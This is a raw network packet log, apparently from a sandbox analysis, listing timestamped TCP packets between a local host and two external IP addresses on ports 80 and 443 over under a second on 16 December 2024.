Dec 16, 2024 21:02:32.498439074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.498475075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.499526024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.499759912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.499795914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.500166893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.500957012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.501133919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.501171112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.501254082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.502199888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.502283096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.502367020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.502443075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.503644943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.503712893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.503752947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.504106998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.504960060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.505021095 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.505053997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.505234957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.506346941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.506491899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.506537914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.506705046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.585848093 CET	49818	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:32.585917950 CET	443	49818	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:32.585994959 CET	49818	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:32.629426956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.629487038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.629611969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.629666090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.630199909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.630217075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.630253077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.630253077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.631180048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.631230116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.631505013 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.631547928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.632392883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.632416964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.632447958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.632472992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.633533001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.633549929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.633579969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.633611917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.634325981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.634375095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.634495974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.634541035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.635839939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.635889053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.636022091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.636070013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.636842966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.636892080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.636893988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.636940002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.637624979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.637672901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.637757063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.637803078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.638892889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.638911009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.638963938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.638963938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.639905930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.639955044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.640021086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.640068054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.640990973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.641041040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.641093969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.641139984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.642059088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.642105103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.642149925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.642200947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.643178940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.643229008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.643414021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.643467903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.644351959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.644378901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.644399881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.644429922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.645406961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.645453930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.645473003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.645524025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.646555901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.646609068 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.646714926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.646756887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.647650957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.647706985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.647710085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.647757053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.648912907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.648964882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.649041891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.649104118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.652328014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.652350903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.652368069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.652384043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.652395964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.652395964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.652400017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.652417898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.652430058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.652430058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.652450085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.652467012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.653517008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.653573036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.653650045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.653693914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.654645920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.654691935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.654815912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.654865026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.655729055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.655802965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.655915976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.655980110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.656727076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.656775951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.657056093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.657111883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.657943010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.657999992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.658149958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.658201933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.659013033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.659063101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.659198046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.659243107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.660099030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.660147905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.660263062 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.660307884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.661226988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.661242962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.661278963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.661315918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.662456036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.662511110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.662609100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.662657022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.663420916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.663486004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.663587093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.663633108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.664567947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.664613008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.664742947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.664792061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.665745974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.665762901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.665793896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.665827036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.666712999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.666769981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.666863918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.666912079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.667939901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.667957067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.667993069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.668025017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.668920040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.668978930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.669233084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.669284105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.670325041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.670351982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.670377016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.670411110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.671068907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.671118021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.671238899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.671295881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.673043013 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.673070908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.673098087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.673130989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.673985958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.674035072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.674118042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.674165964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.674568892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.674616098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.674729109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.674784899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.675781965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.675796986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.675832033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.675863981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.676918983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.676969051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.677076101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.677145958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.678500891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.678553104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.678668022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.678719044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.679464102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.679519892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.679589033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.679631948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.680489063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.680504084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.680543900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.680576086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.681193113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.681250095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.681320906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.681366920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.682200909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.682249069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.682305098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.682351112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.683321953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.683378935 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.683484077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.683535099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.684514999 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.684583902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.684613943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.684659958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.685543060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.685591936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.685647964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.685698032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.686676979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.686723948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.686763048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.686808109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.687724113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.687794924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.821374893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.821420908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.821449995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.821520090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.821825981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.821877003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.821962118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.822005987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.822663069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.822709084 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.822766066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.822823048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.823848009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.823894978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.823950052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.823993921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.824886084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.824930906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.825042963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.825089931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.826004028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.826052904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.826141119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.826189041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.827142954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.827193022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.827272892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.827343941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.828277111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.828320026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.828370094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.828433037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.829390049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.829433918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.829483032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.829529047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.830492020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.830554008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.830643892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.830688953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.831581116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.831629038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.831693888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.831738949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.832748890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.832798004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.832855940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.832900047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.833839893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.833892107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.833980083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.834033012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.834928036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.834978104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.835059881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.835119009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.836107969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.836169004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.836226940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.836272955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.837178946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.837227106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.837284088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.837333918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.838270903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.838325977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.838413954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.838459969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.839415073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.839485884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.839534998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.839586020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.840544939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.840598106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.840666056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.840718031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.841622114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.841672897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.841725111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.841779947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.842739105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.842792988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.842847109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.842890978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.843871117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.843916893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.843930960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.843977928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.845029116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.845076084 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.845127106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.845170975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.846172094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.846221924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.846271992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:32.846322060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:32.847210884 CET	80	49812	31.41.244.11	192.168.2.4
